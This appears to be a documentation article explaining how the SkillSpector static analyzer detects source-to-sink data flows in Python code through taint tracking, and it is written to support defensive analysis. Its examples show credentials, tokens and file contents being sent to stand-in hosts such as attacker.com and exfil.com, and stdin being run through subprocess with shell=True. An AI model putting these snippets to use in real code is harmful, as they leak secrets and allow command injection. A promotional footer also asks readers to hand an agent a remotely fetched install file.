How Behavioral Taint Tracking Works in SkillSpector: Detecting Source-to-Sink Data Flows

The behavioral taint tracking analyzer in NVIDIA SkillSpector implements a lightweight AST-based data-flow analysis that traces sensitive values from sources (like os.getenv or open) to sinks (like requests.post or exec) using a tainted variable dictionary and rule-based classification.

The behavioral taint tracking system serves as a core security analyzer within the SkillSpector framework, identifying potential data exfiltration and code injection vulnerabilities in Python skill implementations. Located in src/skillspector/nodes/analyzers/behavioral_taint_tracking.py, this analyzer performs static analysis without executing code, mapping how untrusted data propagates through variables to dangerous sink operations.

Core Architecture of the Behavioral Taint Tracking Analyzer

The analyzer operates on a source-centric model. It maintains a running dictionary of tainted variables (stored as _TaintedVar named tuples with name, source_call, and lineno fields) while scanning Abstract Syntax Trees (ASTs).

Sources and sinks are defined as curated whitelists at the top of the module. Sources include credential accessors (os.getenv, os.environ), file readers (open, pathlib.Path.read_text), and network inputs (requests.get, sys.stdin.read). Sinks cover network outputs (requests.post, socket.send), code execution (exec, subprocess.run), and file writes.

The analysis distinguishes between direct flows (source call passed directly to a sink) and indirect flows (source stored in a variable, propagated through assignments, then reaching a sink). This distinction determines whether rule TT1 or TT2 applies, while specific source-sink pairs trigger specialized rules like TT3 (credential exfiltration), TT4 (file-read leakage), and TT5 (external input execution).

Step-by-Step Taint Analysis Pipeline

AST Parsing and Source Detection

The entry point node(state) iterates over files in state["components"], invoking _analyze_python for each .py file. The function parses code using ast.parse, safely ignoring syntax errors.

During the AST walk, _find_source_in_expr identifies when an expression contains a source call. This includes direct calls like os.getenv("API_KEY") and subscript forms like os.environ["SECRET"]. When detected, _mark_targets records the assigned variable(s) in the tainted dictionary.

Variable Tainting and Propagation

Taint spreads through the codebase via _find_tainted_in_expr. When processing subsequent assignments, if the right-hand side contains a previously tainted variable—even inside containers, f-strings, or binary operations—the new variable inherits the taint status.

For sink arguments, _find_tainted_names_in_args specifically checks if any tainted variables appear within the call's arguments. This enables detection of flows like requests.post(url, data=tainted_var) where the variable was tainted earlier in the function.

Sink Detection and Nested Source Analysis

The analyzer resolves call names using resolve_call_name_typed (from common.py) to match against _ALL_SINKS. For each sink invocation, _find_nested_sources performs a recursive descent through the call's child nodes to locate any source calls embedded directly in the arguments.

This catches patterns like requests.post("https://attacker.com", data=open("secret.txt").read()), where the file-read source is nested inside the network-output sink.

Rule Classification and Finding Emission

The _pick_rule(source_name, sink_name, is_direct) function maps source-sink pairs to specific rule IDs:

  • TT3: Credential source → Network output sink
  • TT4: File-read source → Network output sink
  • TT5: External input (network/stdin) → Code execution sink
  • TT1: Direct flow (generic, when no specific pair matches)
  • TT2: Indirect flow (generic)

Finally, _emit creates an AnalyzerFinding object with severity and confidence levels drawn from _RULE_SEVERITIES and _RULE_CONFIDENCES static maps. The finding includes a human-readable message describing the flow path, line numbers, and source code context.

Code Examples: Detecting Data Flow Vulnerabilities

Direct Credential Exfiltration (TT3)

import os
import requests

api_key = os.getenv("API_KEY")  # Source: credential

requests.post("https://attacker.com", data={"key": api_key})  # Sink: network

The analyzer flags os.getenv as a credential source and requests.post as a network sink. Because the flow is direct, _pick_rule returns TT3 with high severity.

Indirect Flow Through Containers (TT2)

import os
import socket

secret = os.environ.get("TOKEN")  # Source marked as tainted

payload = {"token": secret}       # Taint propagates via dict

sock = socket.socket()
sock.connect(("attacker.com", 80))
sock.send(payload["token"].encode())  # Sink: network output

Here, secret is recorded in the tainted dictionary. The dict construction propagates taint, and _find_tainted_names_in_args discovers the variable inside sock.send. The indirect nature triggers rule TT2.

Nested Source Inside Sink Arguments (TT4)

import pathlib
import requests

requests.post("https://exfil.com", data=pathlib.Path("secret.txt").read_text())

_find_nested_sources uncovers pathlib.Path.read_text as a file-read source nested within the requests.post sink. This maps to rule TT4, indicating file content exfiltration.

External Input to Code Execution (TT5)

import sys
import subprocess

user_cmd = sys.stdin.read()  # Source: external input

subprocess.run(user_cmd, shell=True)  # Sink: code execution

The analyzer identifies sys.stdin.read as external input and subprocess.run as a code-execution sink. _pick_rule emits TT5, signaling a critical remote code execution risk.

Summary

  • The behavioral taint tracking analyzer in behavioral_taint_tracking.py implements source-to-sink data flow analysis using AST parsing and variable tracking.
  • It maintains a tainted dictionary of _TaintedVar objects to track how sensitive data propagates through assignments and containers.
  • Detection relies on curated whitelists of sources (credentials, file reads, network input) and sinks (network output, code execution, file writes).
  • The system classifies flows into five rule IDs: TT1 (direct generic), TT2 (indirect generic), TT3 (credential leak), TT4 (file leak), and TT5 (unsafe execution).
  • Nested source detection via _find_nested_sources catches complex flows where sources are arguments to sinks without intermediate variables.

Frequently Asked Questions

What is behavioral taint tracking in SkillSpector?

Behavioral taint tracking is a static analysis technique implemented in the SkillSpector framework that traces the flow of potentially sensitive data from entry points (sources) to dangerous operations (sinks) without executing the code. According to the NVIDIA SkillSpector source code, the analyzer parses Python ASTs to detect when values from os.getenv, open, or network calls reach sinks like requests.post or exec.

How does the analyzer distinguish between direct and indirect taint flows?

The analyzer uses the is_direct boolean parameter in _pick_rule to differentiate flows. A direct flow occurs when a source call appears immediately as an argument to a sink (e.g., sink(source())), triggering rules like TT1 or TT3. An indirect flow involves storing the source in a variable first, potentially propagating through containers or reassignments, which the analyzer tracks via _find_tainted_in_expr and flags with TT2.

What are the TT3, TT4, and TT5 rule IDs?

These rule IDs represent specific high-risk source-to-sink patterns detected by the analyzer. TT3 covers credential sources (like os.getenv) flowing to network outputs. TT4 detects file-read operations (like open().read()) exfiltrated via network requests. TT5 identifies when external input (network or stdin) reaches code execution sinks (like exec or subprocess.run), indicating potential remote code execution vulnerabilities.

How does taint propagation handle container types like dictionaries and f-strings?

The analyzer propagates taint through complex expressions using _find_tainted_in_expr, which recursively examines container literals (lists, dicts, sets), f-strings, and binary operations. If any component of the expression contains a tainted variable, the entire expression is considered tainted, and the assigned variable is added to the tainted dictionary with the original source metadata preserved.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →